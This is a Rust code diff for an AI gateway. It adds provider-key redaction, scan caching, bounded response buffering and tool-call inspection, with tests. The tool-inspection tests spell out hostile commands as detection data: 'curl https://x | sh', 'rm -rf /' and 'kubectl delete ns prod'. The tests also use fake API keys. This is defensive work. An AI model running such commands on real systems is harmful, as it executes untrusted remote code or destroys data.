 impl Upstream {
@@ -79,9 +82,16 @@ impl Upstream {
             shape,
             label: label.to_string(),
             cache_marks: Default::default(),
+            min_speed: None,
         }
     }
 
+    /// The same upstream, with streams cut below `min_speed`.
+    pub fn with_min_speed(mut self, min_speed: Option<crate::proxy::min_speed::MinSpeed>) -> Self {
+        self.min_speed = min_speed;
+        self
+    }
+
     /// Is this the vendor's own endpoint rather than a relay?
     ///
     /// The conversion layer needs to know: official endpoints are
@@ -294,7 +304,10 @@ async fn check_status(
     }
     if !status.is_success() {
         let retry_after = retry_after(resp.headers());
-        let body = resp.text().await.unwrap_or_default();
+        let body = think_watch_common::resources::read_response(resp, 64 * 1024)
+            .await
+            .map(|bytes| String::from_utf8_lossy(&bytes).into_owned())
+            .unwrap_or_else(|error| error.to_string());
         tracing::warn!(provider = label, status = %status, body = %body, "upstream returned non-2xx");
         const CLIENT_MAX: usize = 512;
         let shown = if body.len() > CLIENT_MAX {
diff --git a/crates/gateway/src/redaction.rs b/crates/gateway/src/redaction.rs
index b7f257ce..ab939fd3 100644
--- a/crates/gateway/src/redaction.rs
+++ b/crates/gateway/src/redaction.rs
@@ -34,26 +34,44 @@
 use std::sync::Arc;
 
 use think_watch_common::audit::AuditLogger;
+use think_watch_common::guard_policy::saved::{self, SavedSecrets};
 use tw_guard::policy::{Mode, RedactPolicy};
-use tw_guard::redact::replace::Ledger;
-use tw_guard::redact::rules::{Finding, Rule, RuleSet};
+use tw_guard::redact::flow::ScanCache;
+use tw_guard::redact::replace::{Ledger, Scheme};
+use tw_guard::redact::rules::{Finding, Kind, Rule, RuleSet, SavedSource};
 
 pub use tw_guard::redact::flow::Shape;
 
 use crate::guards::Caller;
 
-/// Outbound redaction as configured: a mode and the rules.
+/// Outbound redaction as configured: a mode, and the rules — with the
+/// providers' credentials, recognised by value, and the exception values
+/// that are not.
+///
+/// **One scan cache per compiled rule set** (thinkwatch-core's
+/// [`ScanCache`]): a client sends the whole conversation every turn, and
+/// the parts of it already scanned last turn are taken from the cache
+/// instead of being scanned again. What is found is exactly what a scan
+/// without it finds. The cache keeps hit positions and rule ids, never a
+/// value, in this process's memory only; it is built with the rules and
+/// dropped with them when a policy, the providers' keys or the exceptions
+/// change.
 #[derive(Debug, Clone)]
 pub struct Redaction {
     pub mode: Mode,
     pub rules: Arc<RuleSet>,
+    cache: Arc<ScanCache>,
 }
 
 impl Redaction {
-    pub fn new(policy: &RedactPolicy) -> Self {
+    pub fn new(policy: &RedactPolicy, saved: &SavedSecrets) -> Self {
         Self {
             mode: policy.mode,
-            rules: Arc::new(think_watch_common::guard_policy::redact_rules(policy)),
+            rules: Arc::new(saved::with_saved(
+                think_watch_common::guard_policy::redact_rules(policy),
+                saved,
+            )),
+            cache: Arc::new(ScanCache::new()),
         }
     }
 
@@ -61,7 +79,15 @@ impl Redaction {
     /// in its written text (masked), and in enforce mode the ledger every
     /// hop is replaced with. Nothing when off.
     pub fn look(&self, body: &[u8], shape: Shape) -> (Vec<Finding>, Ledger) {
-        tw_guard::redact::flow::look(self.mode, &self.rules, body, shape)
+        let l = tw_guard::redact::flow::look_hits_with(
+            self.mode,
+            &self.rules,
+            body,
+            shape,
+            Ledger::new(Scheme::SECRET),
+            Some(&self.cache),
+        );
+        (l.found, l.ledger)
     }
 
     /// The bytes one hop sends, a request of `shape` — the format it goes
@@ -72,12 +98,13 @@ impl Redaction {
     /// Byte for byte what came in, and the same ledger, unless in enforce
     /// mode and something is found.
     pub fn replace(&self, body: Vec<u8>, ledger: &Ledger, shape: Shape) -> (Vec<u8>, Ledger) {
-        let (out, ledger) = tw_guard::redact::flow::replace(
+        let (out, ledger) = tw_guard::redact::flow::replace_with(
             self.mode,
             &self.rules,
             bytes::Bytes::from(body),
             ledger,
             shape,
+            Some(&self.cache),
         );
         (Vec::from(out), ledger)
     }
@@ -198,8 +225,19 @@ pub struct RuleHits {
     /// The first few values in their masked form (`sk-an…7f9c`, `…1234`) —
     /// built-in rules only. **A custom rule's values are not written at
     /// all**: masking keeps the first five and last four characters, and of
-    /// a phone number or an IP address that is nearly all of it.
+    /// a phone number or an IP address that is nearly all of it. **Nor is
+    /// a saved secret's**, in any form: the event names where it came from
+    /// instead ([`Self::sources`]).
     pub masked: Vec<String>,
+    /// The saved secrets found, by where they came from (a provider's
+    /// key), each once: the rule that recognises them by value only.
+    pub sources: Vec<SavedSource>,
+}
+
+/// Whether a rule's values may be written masked: built-in rules, except
+/// the one that recognises the providers' credentials by value.
+fn writes_masked(rule: &Rule) -> bool {
+    !rule.custom() && rule.kind() != Kind::Saved
 }
 
 /// The findings of one request, one entry per rule, the rule with the most
@@ -215,6 +253,7 @@ pub fn per_rule(findings: &[Finding]) -> Vec<RuleHits> {
                     values: 0,
                     count: 0,
                     masked: Vec::new(),
+                    sources: Vec::new(),
                 });
                 out.len() - 1
             }
@@ -222,9 +261,14 @@ pub fn per_rule(findings: &[Finding]) -> Vec<RuleHits> {
         let r = &mut out[at];
         r.values += 1;
         r.count += f.count;
-        if !f.rule.custom() && r.masked.len() < MASKED_MAX {
+        if writes_masked(&f.rule) && r.masked.len() < MASKED_MAX {
             r.masked.push(f.masked.clone());
         }
+        if let Some(source) = &f.source
+            && !r.sources.contains(source)
+        {
+            r.sources.push(source.clone());
+        }
     }
     out.sort_by_key(|r| std::cmp::Reverse(r.count));
     out
@@ -242,7 +286,8 @@ fn replaced(redaction: &Redaction, rule: &Rule) -> bool {
 /// or by a rule whose action is to record), at most [`RULE_EVENTS_MAX`] of
 /// them, and a counter. A value is never written as it is: a built-in
 /// rule's event carries a few in masked form, a custom rule's only how
-/// many there were.
+/// many there were. A saved secret's event names where each came from
+/// (`sources`: `[{"kind": "upstream-key", "name": <provider>}]`).
 pub fn record(audit: &AuditLogger, caller: &Caller, redaction: &Redaction, findings: &[Finding]) {
     if findings.is_empty() {
         return;
@@ -296,7 +341,9 @@ pub fn record(audit: &AuditLogger, caller: &Caller, redaction: &Redaction, findi
             "mode": mode.slug(),
             "rules_in_request": rules.len(),
         });
-        if !r.rule.custom() {
+        if r.rule.kind() == Kind::Saved {
+            detail["sources"] = serde_json::json!(r.sources);
+        } else if writes_masked(&r.rule) {
             detail["masked"] = serde_json::json!(r.masked);
         }
         audit.log(caller.audit(action).detail(detail));
@@ -316,10 +363,13 @@ mod tests {
     const RESPONSES: Shape = Shape::Generate(Dialect::Responses);
 
     fn redaction(mode: Mode) -> Redaction {
-        Redaction::new(&RedactPolicy {
-            mode,
-            ..Default::default()
-        })
+        Redaction::new(
+            &RedactPolicy {
+                mode,
+                ..Default::default()
+            },
+            &Default::default(),
+        )
     }
 
     #[test]
@@ -468,21 +518,141 @@ mod tests {
         );
     }
 
+    #[test]
+    fn a_saved_secret_s_hits_name_their_provider_and_never_the_value() {
+        use think_watch_common::guard_policy::saved::ProviderCredentials;
+        let a = [(
+            "Authorization".to_string(),
+            "Bearer test-alpha-key-0123456789".to_string(),
+        )];
+        let b = [(
+            "x-api-key".to_string(),
+            "test-beta-key-0123456789".to_string(),
+        )];
+        let saved = SavedSecrets::collect([
+            ProviderCredentials {
+                name: "alpha",
+                base_url: "https://a.example.com",
+                headers: &a,
+                aws_secret_access_key: None,
+            },
+            ProviderCredentials {
+                name: "beta",
+                base_url: "https://b.example.com",
+                headers: &b,
+                aws_secret_access_key: None,
+            },
+        ]);
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                ..Default::default()
+            },
+            &saved,
+        );
+        let body = serde_json::json!({"messages": [{"role": "user", "content":
+            "key test-beta-key-0123456789, again test-beta-key-0123456789, and test-alpha-key-0123456789"
+        }]})
+        .to_string();
+        let (found, ledger) = r.look(body.as_bytes(), CHAT);
+        let rules = per_rule(&found);
+        assert_eq!(rules.len(), 1, "{rules:?}");
+        let hits = &rules[0];
+        assert_eq!(hits.rule.id(), "thinkwatch-saved-secret");
+        assert_eq!((hits.values, hits.count), (2, 3));
+        assert!(hits.masked.is_empty(), "never a value, masked or not");
+        let names: Vec<&str> = hits.sources.iter().map(|s| s.name.as_str()).collect();
+        assert_eq!(names, ["beta", "alpha"]);
+        assert_eq!(
+            serde_json::json!(hits.sources[0]),
+            serde_json::json!({"kind": "upstream-key", "name": "beta"})
+        );
+        // Replaced on the wire like any other value.
+        let (sent, _) = r.replace(body.into_bytes(), &ledger, CHAT);
+        let sent = String::from_utf8(sent).unwrap();
+        assert!(!sent.contains("test-beta-key"), "{sent}");
+        assert!(!writes_masked(&Rule::Custom("ssn".into())));
+    }
+
+    #[test]
+    fn an_exception_value_is_neither_replaced_nor_recorded() {
+        let other = "sk-ant-api03-BBBBBBBBBBBBBBBBBBBBBBBBBBBB";
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                exceptions: vec![tw_guard::policy::RedactException {
+                    sha256: tw_guard::redact::exceptions::sha256_hex(KEY),
+                    masked: "sk-an…AAAA".into(),
+                    rule: "anthropic-api-key".into(),
+                    added_at: 1,
+                }],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
+        let body = serde_json::json!({"messages": [
+            {"role": "user", "content": format!("{KEY} and {other}")}
+        ]})
+        .to_string();
+        let (found, ledger) = r.look(body.as_bytes(), CHAT);
+        assert_eq!(found.len(), 1, "{found:?}");
+        let (sent, _) = r.replace(body.into_bytes(), &ledger, CHAT);
+        let sent = String::from_utf8(sent).unwrap();
+        assert!(sent.contains(KEY) && !sent.contains(other), "{sent}");
+    }
+
+    /// The scan cache takes the unchanged history from the turn before; the
+    /// findings, the numbering and what is sent are the same as without it.
+    #[test]
+    fn a_growing_conversation_redacts_the_same_turn_after_turn() {
+        let r = redaction(Mode::Enforce);
+        let filler = "lorem ipsum dolor sit amet ".repeat(200);
+        let mut messages = Vec::new();
+        for turn in 0..30 {
+            let content = if turn % 7 == 0 {
+                format!(
+                    "{filler} turn {turn} key sk-ant-api03-{}",
+                    format!("{turn:02}").repeat(14)
+                )
+            } else {
+                format!("{filler} turn {turn}")
+            };
+            messages.push(serde_json::json!({"role": "user", "content": content}));
+            let body = serde_json::json!({"messages": messages}).to_string();
+            let cached = r.look(body.as_bytes(), CHAT);
+            let plain =
+                tw_guard::redact::flow::look(Mode::Enforce, &r.rules, body.as_bytes(), CHAT);
+            assert_eq!(cached.0, plain.0, "turn {turn}");
+            let (a, _) = r.replace(body.clone().into_bytes(), &cached.1, CHAT);
+            let (b, _) = tw_guard::redact::flow::replace(
+                Mode::Enforce,
+                &r.rules,
+                bytes::Bytes::from(body),
+                &plain.1,
+                CHAT,
+            );
+            assert_eq!(a, b.to_vec(), "turn {turn}");
+        }
+    }
+
     #[test]
     fn findings_are_one_entry_per_rule_and_a_custom_rule_keeps_no_values() {
-        let r = Redaction::new(&RedactPolicy {
-            mode: Mode::Enforce,
-            custom: vec![tw_guard::policy::CustomRedactRule {
-                name: "ssn".into(),
-                pattern: r"\d{3}-\d{2}-\d{4}".into(),
-                matching: tw_guard::policy::ContentMatch::Regex,
-                case_sensitive: true,
-                label: None,
-                action: Default::default(),
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                custom: vec![tw_guard::policy::CustomRedactRule {
+                    name: "ssn".into(),
+                    pattern: r"\d{3}-\d{2}-\d{4}".into(),
+                    matching: tw_guard::policy::ContentMatch::Regex,
+                    case_sensitive: true,
+                    label: None,
+                    action: Default::default(),
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let other = "sk-ant-api03-BBBBBBBBBBBBBBBBBBBBBBBBBBBB";
         let body = serde_json::json!({"messages": [{"role": "user", "content": format!(
             "{KEY} {other} {KEY} 123-45-6789 987-65-4321 123-45-6789 111-22-3333"
@@ -511,10 +681,13 @@ mod tests {
 
     #[test]
     fn a_built_in_rule_lists_only_a_few_masked_values() {
-        let r = Redaction::new(&RedactPolicy {
-            mode: Mode::Observe,
-            ..Default::default()
-        });
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Observe,
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let keys: Vec<String> = (0..12)
             .map(|i| format!("sk-ant-api03-{}", format!("{i:02}").repeat(14)))
             .collect();
@@ -536,24 +709,27 @@ mod tests {
 
     #[test]
     fn a_rule_that_records_only_is_found_and_reported_but_not_replaced() {
-        let r = Redaction::new(&RedactPolicy {
-            mode: Mode::Enforce,
-            actions: [(
-                "anthropic-api-key".to_string(),
-                tw_guard::policy::RedactAction::Record,
-            )]
-            .into(),
-            custom: vec![tw_guard::policy::CustomRedactRule {
-                name: "project".into(),
-                pattern: "PRJ-7".into(),
-                matching: tw_guard::policy::ContentMatch::Contains,
-                case_sensitive: false,
-                label: Some("PROJECT".into()),
-                action: tw_guard::policy::RedactAction::Placeholder,
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                actions: [(
+                    "anthropic-api-key".to_string(),
+                    tw_guard::policy::RedactAction::Record,
+                )]
+                .into(),
+                custom: vec![tw_guard::policy::CustomRedactRule {
+                    name: "project".into(),
+                    pattern: "PRJ-7".into(),
+                    matching: tw_guard::policy::ContentMatch::Contains,
+                    case_sensitive: false,
+                    label: Some("PROJECT".into()),
+                    action: tw_guard::policy::RedactAction::Placeholder,
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let body =
             serde_json::json!({"messages": [{"role": "user", "content": format!("{KEY} PRJ-7")}]})
                 .to_string();
@@ -614,11 +790,14 @@ mod tests {
     /// upstream refused the whole request.
     #[test]
     fn a_reasoning_item_id_is_sent_as_it_is_and_the_same_number_in_text_is_not() {
-        let r = Redaction::new(&RedactPolicy {
-            mode: Mode::Enforce,
-            enable: vec!["cn-mobile-phone".into()],
-            ..Default::default()
-        });
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                enable: vec!["cn-mobile-phone".into()],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let id = "rs_0d1f5e8a13800138000b6f2c9e4a7d3c1b0e9f8a7d6c5b4a3";
         assert!(
             !tw_guard::redact::flow::hits(&format!("\"{id}\""), &r.rules).is_empty(),
@@ -651,23 +830,26 @@ mod tests {
     /// is replaced.
     #[test]
     fn protocol_values_are_never_replaced_written_text_always_is() {
-        let r = Redaction::new(&RedactPolicy {
-            mode: Mode::Enforce,
-            enable: tw_guard::redact::rules::BUILTINS
-                .iter()
-                .map(|b| b.id.to_string())
-                .collect(),
-            custom: vec![tw_guard::policy::CustomRedactRule {
-                name: "tool".into(),
-                pattern: "notify".into(),
-                matching: tw_guard::policy::ContentMatch::Contains,
-                case_sensitive: false,
-                label: None,
-                action: Default::default(),
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let r = Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                enable: tw_guard::redact::rules::BUILTINS
+                    .iter()
+                    .map(|b| b.id.to_string())
+                    .collect(),
+                custom: vec![tw_guard::policy::CustomRedactRule {
+                    name: "tool".into(),
+                    pattern: "notify".into(),
+                    matching: tw_guard::policy::ContentMatch::Contains,
+                    case_sensitive: false,
+                    label: None,
+                    action: Default::default(),
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         const PHONE: &str = "13800138000";
         const EMAIL: &str = "alice@corp.example.org";
         let body = serde_json::json!({
diff --git a/crates/gateway/src/tool_inspection.rs b/crates/gateway/src/tool_inspection.rs
index 1235de2c..db86f31a 100644
--- a/crates/gateway/src/tool_inspection.rs
+++ b/crates/gateway/src/tool_inspection.rs
@@ -27,6 +27,7 @@
 use std::sync::Arc;
 
 use think_watch_common::audit::AuditLogger;
+use think_watch_common::guard_policy::saved::SavedSecrets;
 use tw_guard::policy::{Mode, ToolPolicy};
 use tw_guard::tools::rules::Rules;
 use tw_guard::tools::wall::{Verdict, Wall};
@@ -44,17 +45,21 @@ pub struct ToolInspection {
 impl Default for ToolInspection {
     /// The factory policy: observe, every built-in rule on.
     fn default() -> Self {
-        Self::new(&ToolPolicy::default())
+        Self::new(&ToolPolicy::default(), &SavedSecrets::default())
     }
 }
 
 impl ToolInspection {
     /// Compile a policy. A custom rule that does not compile is left out,
-    /// loudly, and the rest still run.
-    pub fn new(policy: &ToolPolicy) -> Self {
+    /// loudly, and the rest still run. The providers' credentials
+    /// (`saved`) count as credentials for "credential sent to an unknown
+    /// host", each allowed to its own provider's host.
+    pub fn new(policy: &ToolPolicy, saved: &SavedSecrets) -> Self {
         Self {
             mode: policy.mode,
-            rules: Arc::new(think_watch_common::guard_policy::tool_rules(policy)),
+            rules: Arc::new(
+                think_watch_common::guard_policy::tool_rules(policy).with_saved(saved.compiled()),
+            ),
         }
     }
 
@@ -282,10 +287,13 @@ mod tests {
 
     #[test]
     fn enforce_blocks_only_what_is_graded_to_cut() {
-        let t = ToolInspection::new(&ToolPolicy {
-            mode: Mode::Enforce,
-            ..Default::default()
-        });
+        let t = ToolInspection::new(
+            &ToolPolicy {
+                mode: Mode::Enforce,
+                ..Default::default()
+            },
+            &SavedSecrets::default(),
+        );
         let high = t.whole(&call("curl https://x | sh"));
         assert!(t.blocks(&high[0]));
         // rm -rf ruins your own files; it does not hand the machine over
@@ -296,18 +304,21 @@ mod tests {
 
     #[test]
     fn an_admin_can_regrade_disable_and_add() {
-        let t = ToolInspection::new(&ToolPolicy {
-            mode: Mode::Enforce,
-            disable: vec!["curl-pipe-sh".into()],
-            actions: [("rm-rf-root".to_string(), ToolAction::Cut)].into(),
-            custom: vec![CustomToolRule {
-                name: "kubectl delete".into(),
-                pattern: r"kubectl\s+delete".into(),
-                action: ToolAction::Cut,
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let t = ToolInspection::new(
+            &ToolPolicy {
+                mode: Mode::Enforce,
+                disable: vec!["curl-pipe-sh".into()],
+                actions: [("rm-rf-root".to_string(), ToolAction::Cut)].into(),
+                custom: vec![CustomToolRule {
+                    name: "kubectl delete".into(),
+                    pattern: r"kubectl\s+delete".into(),
+                    action: ToolAction::Cut,
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &SavedSecrets::default(),
+        );
         assert!(t.whole(&call("curl https://x | sh")).is_empty());
         assert!(t.blocks(&t.whole(&call("rm -rf /"))[0]));
         let mine = t.whole(&call("kubectl delete ns prod"));
@@ -316,25 +327,31 @@ mod tests {
 
     #[test]
     fn off_looks_at_nothing() {
-        let t = ToolInspection::new(&ToolPolicy {
-            mode: Mode::Off,
-            ..Default::default()
-        });
+        let t = ToolInspection::new(
+            &ToolPolicy {
+                mode: Mode::Off,
+                ..Default::default()
+            },
+            &SavedSecrets::default(),
+        );
         assert!(t.stream().is_none());
         assert!(t.whole(&call("curl https://x | sh")).is_empty());
     }
 
     #[test]
     fn a_broken_custom_rule_is_skipped_at_runtime() {
-        let t = ToolInspection::new(&ToolPolicy {
-            custom: vec![CustomToolRule {
-                name: "broken".into(),
-                pattern: "(".into(),
-                action: ToolAction::Cut,
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let t = ToolInspection::new(
+            &ToolPolicy {
+                custom: vec![CustomToolRule {
+                    name: "broken".into(),
+                    pattern: "(".into(),
+                    action: ToolAction::Cut,
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &SavedSecrets::default(),
+        );
         // ...and the rest of the inspection still runs
         assert_eq!(t.whole(&call("curl https://x | sh")).len(), 1);
     }
@@ -460,7 +477,10 @@ mod tests {
             .find(|v| v.rule == "curl-pipe-sh")
             .expect("curl-pipe-sh fires");
         assert!(curl.excerpt.contains(key), "the engine quotes it as it is");
-        let mask = Redaction::new(&tw_guard::policy::RedactPolicy::default());
+        let mask = Redaction::new(
+            &tw_guard::policy::RedactPolicy::default(),
+            &Default::default(),
+        );
         let shown = mask.mask(&curl.excerpt);
         assert!(!shown.contains(key), "{shown}");
     }
diff --git a/crates/mcp-gateway/src/cache.rs b/crates/mcp-gateway/src/cache.rs
index a34ad8aa..50bb818d 100644
--- a/crates/mcp-gateway/src/cache.rs
+++ b/crates/mcp-gateway/src/cache.rs
@@ -105,16 +105,26 @@ impl McpResponseCache {
     ) -> Option<JsonRpcResponse> {
         let scope_label = scope_metric_label(caller);
         let key = Self::cache_key(server_id, caller, request);
-        let cached: Option<String> = self.redis.get(&key).await.ok().flatten();
+        let cached = think_watch_common::resources::cached_body(&self.redis, &key).await;
         let hit = cached.is_some();
-        let parsed = cached.and_then(|json| {
-            serde_json::from_str::<JsonRpcResponse>(&json)
-                .map_err(|e| {
-                    tracing::warn!("Failed to deserialize cached MCP response: {e}");
-                    e
-                })
-                .ok()
-        });
+        let parsed = if let Some(json) = cached {
+            let memory = json.clone();
+            think_watch_common::resources::cpu(json.len(), || {
+                serde_json::from_slice::<JsonRpcResponse>(&json)
+                    .map_err(|e| {
+                        tracing::warn!("Failed to deserialize cached MCP response: {e}");
+                        e
+                    })
+                    .ok()
+                    .map(|mut response| {
+                        response.memory = Some(memory);
+                        response
+                    })
+            })
+            .await
+        } else {
+            None
+        };
         // Three counters per lookup, each labelled by scope so the
         // dashboard can break hit-rate down by global vs per-caller:
         //   * mcp_cache_total        — denominator
diff --git a/crates/mcp-gateway/src/lifecycle/mod.rs b/crates/mcp-gateway/src/lifecycle/mod.rs
index 095f343f..435f0e7e 100644
--- a/crates/mcp-gateway/src/lifecycle/mod.rs
+++ b/crates/mcp-gateway/src/lifecycle/mod.rs
@@ -150,6 +150,10 @@ impl Surface for McpSurface {
         // shared response-code classifier so a single user's bad
         // INVALID_PARAMS doesn't trip the breaker for everyone.
         match &invoked.view {
+            CapturedView::Streaming {
+                outcome: StreamOutcome::UpstreamError { error_type, .. },
+                ..
+            } if error_type == "gateway_memory" => {}
             CapturedView::Streaming {
                 outcome: StreamOutcome::UpstreamError { .. },
                 ..
@@ -240,6 +244,8 @@ impl Surface for McpSurface {
 /// shaped); the rest are surface-specific identifiers the pipeline
 /// is generic over, so they cannot live on `Invoked<S>` itself.
 pub struct McpPostInvokeDeps {
+    /// Retains stream capture admission until cache/audit hooks finish.
+    pub stream_memory: think_watch_common::resources::SharedStreamBudget,
     pub proxy: McpProxy,
     pub server_id: Uuid,
     pub server_name: String,
@@ -278,6 +284,19 @@ fn response_for_hooks(invoked: &Invoked<McpSurface>, deps: &McpPostInvokeDeps) -
     match &invoked.view {
         CapturedView::Buffered(r) => r.clone(),
         CapturedView::Streaming { outcome, captured } => {
+            if let StreamOutcome::UpstreamError {
+                error_type,
+                message,
+                ..
+            } = outcome
+                && error_type == "gateway_memory"
+            {
+                return err_response(
+                    deps.original_request_id.clone(),
+                    crate::proxy::RESOURCE_BUSY,
+                    message.clone(),
+                );
+            }
             pick_response_envelope(captured, deps.original_request_id.as_ref()).unwrap_or_else(
                 || {
                     let msg = match outcome {
diff --git a/crates/mcp-gateway/src/pool.rs b/crates/mcp-gateway/src/pool.rs
index 9c5b74e2..d95892e4 100644
--- a/crates/mcp-gateway/src/pool.rs
+++ b/crates/mcp-gateway/src/pool.rs
@@ -2,6 +2,7 @@ use std::collections::HashMap;
 use std::sync::Arc;
 
 use reqwest::Client;
+use think_watch_common::resources;
 use tokio::sync::RwLock;
 use uuid::Uuid;
 
@@ -55,6 +56,9 @@ pub enum PoolError {
 
     #[error("Failed to parse upstream JSON-RPC response: {0}")]
     ParseError(String),
+
+    #[error(transparent)]
+    Buffering(#[from] resources::ReadError),
 }
 
 /// Manages a pool of `McpConnection`s keyed by server ID.
@@ -219,7 +223,10 @@ impl ConnectionPool {
 
         let status = resp.status();
         if !status.is_success() {
-            let body = resp.text().await.unwrap_or_default();
+            let body = resources::read_response(resp, 64 * 1024)
+                .await
+                .map(|bytes| String::from_utf8_lossy(&bytes).into_owned())
+                .unwrap_or_else(|error| error.to_string());
             return Err(PoolError::UpstreamError {
                 status: status.as_u16(),
                 body,
@@ -237,28 +244,30 @@ impl ConnectionPool {
             .unwrap_or("")
             .to_lowercase();
 
-        let (json_resp, stream_audit_body): (JsonRpcResponse, Option<String>) =
+        let data = resources::read_response(resp, resources::policy().max_body_bytes).await?;
+        let (mut json_resp, stream_audit_body): (JsonRpcResponse, Option<String>) =
             if content_type.contains("text/event-stream") {
-                let text = resp
-                    .text()
-                    .await
-                    .map_err(|e| PoolError::ParseError(e.to_string()))?;
+                let text = String::from_utf8_lossy(&data);
                 // Pick the response envelope by matching id against the
                 // request id — without this, a tool that emits
                 // `notifications/progress` before the final response
                 // had its first progress notification returned AS the
                 // response (notifications have id=None which deserializes
                 // into JsonRpcResponse just fine, masking the real reply).
-                let (matched, full_audit) = parse_sse_json_rpc(&text, request.id.as_ref())?;
+                let (matched, full_audit) = resources::cpu(data.len(), || {
+                    parse_sse_json_rpc(&text, request.id.as_ref())
+                })
+                .await?;
                 (matched, Some(full_audit))
             } else {
-                let envelope: JsonRpcResponse = resp
-                    .json()
-                    .await
-                    .map_err(|e| PoolError::ParseError(e.to_string()))?;
+                let envelope: JsonRpcResponse =
+                    resources::cpu(data.len(), || serde_json::from_slice(&data))
+                        .await
+                        .map_err(|e| PoolError::ParseError(e.to_string()))?;
                 (envelope, None)
             };
 
+        json_resp.memory = Some(data);
         // Validate JSON-RPC version
         if json_resp.jsonrpc != "2.0" {
             return Err(PoolError::ParseError("Invalid JSON-RPC version".into()));
@@ -309,7 +318,10 @@ impl ConnectionPool {
             // Same error-surfacing contract as send_request — buffer
             // the small error body so the caller can see the upstream
             // diagnostic instead of an opaque "non-2xx".
-            let body = resp.text().await.unwrap_or_default();
+            let body = resources::read_response(resp, 64 * 1024)
+                .await
+                .map(|bytes| String::from_utf8_lossy(&bytes).into_owned())
+                .unwrap_or_else(|error| error.to_string());
             return Err(PoolError::UpstreamError {
                 status: status.as_u16(),
                 body,
@@ -477,6 +489,27 @@ fn parse_sse_json_rpc(
     Ok((json_resp, audit_body))
 }
 
+pub(crate) async fn read_json_response(
+    response: reqwest::Response,
+) -> Result<JsonRpcResponse, PoolError> {
+    let bytes = resources::read_response(response, resources::policy().max_body_bytes).await?;
+    let mut result: JsonRpcResponse =
+        resources::cpu(bytes.len(), || serde_json::from_slice(&bytes))
+            .await
+            .map_err(|e| PoolError::ParseError(e.to_string()))?;
+    result.memory = Some(bytes);
+    Ok(result)
+}
+
+pub(crate) fn error_response(id: Option<serde_json::Value>, error: &PoolError) -> JsonRpcResponse {
+    let code = if matches!(error, PoolError::Buffering(resources::ReadError::Busy)) {
+        crate::proxy::RESOURCE_BUSY
+    } else {
+        crate::proxy::INTERNAL_ERROR
+    };
+    crate::proxy::err_response(id, code, format!("Upstream server error: {error}"))
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/mcp-gateway/src/proxy.rs b/crates/mcp-gateway/src/proxy.rs
index 762c358f..1210d6ad 100644
--- a/crates/mcp-gateway/src/proxy.rs
+++ b/crates/mcp-gateway/src/proxy.rs
@@ -23,7 +23,7 @@ mod streaming;
 use jsonrpc::ok_response;
 pub use jsonrpc::{
     INTERNAL_ERROR, INVALID_PARAMS, INVALID_REQUEST, JsonRpcError, JsonRpcRequest, JsonRpcResponse,
-    METHOD_NOT_FOUND, NEEDS_USER_CREDENTIALS, err_response,
+    METHOD_NOT_FOUND, NEEDS_USER_CREDENTIALS, RESOURCE_BUSY, err_response,
 };
 use streaming::build_replay_payload;
 pub(crate) use streaming::pick_response_envelope;
@@ -794,6 +794,7 @@ impl McpProxy {
                     ),
                 };
                 return HandleOutcome::Buffered(JsonRpcResponse {
+                    memory: None,
                     jsonrpc: "2.0".to_owned(),
                     id: request.id,
                     result: None,
@@ -824,6 +825,7 @@ impl McpProxy {
                     CredentialOwner::AdminShared => "/admin/mcp/servers",
                 };
                 return HandleOutcome::Buffered(JsonRpcResponse {
+                    memory: None,
                     jsonrpc: "2.0".to_owned(),
                     id: request.id,
                     result: None,
@@ -882,6 +884,7 @@ impl McpProxy {
         // to `run_post_invoke` per branch.
         let logged_arguments = params.get("arguments").cloned();
         let mut deps = crate::lifecycle::McpPostInvokeDeps {
+            stream_memory: think_watch_common::resources::stream_budget(),
             proxy: self.clone(),
             server_id,
             server_name: server_name.clone(),
@@ -958,6 +961,8 @@ impl McpProxy {
                         self.build_mcp_pump(
                             resp,
                             crate::proxy::streaming::PumpContext {
+                                memory: deps.stream_memory.clone(),
+                                request_id: request.id.clone(),
                                 identity: auth_identity,
                                 trace_id: auth_trace_id,
                                 started_at: auth_started_at,
@@ -968,13 +973,9 @@ impl McpProxy {
                         )
                     } else {
                         // Upstream chose application/json — buffer it.
-                        let response = match resp.json::<JsonRpcResponse>().await {
+                        let response = match crate::pool::read_json_response(resp).await {
                             Ok(r) => r,
-                            Err(e) => err_response(
-                                request.id.clone(),
-                                INTERNAL_ERROR,
-                                format!("Upstream server error: parse failed: {e}"),
-                            ),
+                            Err(e) => crate::pool::error_response(request.id.clone(), &e),
                         };
                         Invocation::Buffered(Invoked {
                             identity: auth_identity,
@@ -993,11 +994,7 @@ impl McpProxy {
                         error = %e,
                         "streaming upstream tools/call failed"
                     );
-                    let response = err_response(
-                        request.id.clone(),
-                        INTERNAL_ERROR,
-                        format!("Upstream server error: {e}"),
-                    );
+                    let response = crate::pool::error_response(request.id.clone(), &e);
                     Invocation::Buffered(Invoked {
                         identity: auth_identity,
                         trace_id: auth_trace_id,
@@ -1049,11 +1046,7 @@ impl McpProxy {
                         error = %e,
                         "upstream tools/call failed"
                     );
-                    let response = err_response(
-                        request.id.clone(),
-                        INTERNAL_ERROR,
-                        format!("Upstream server error: {e}"),
-                    );
+                    let response = crate::pool::error_response(request.id.clone(), &e);
                     Invocation::Buffered(Invoked {
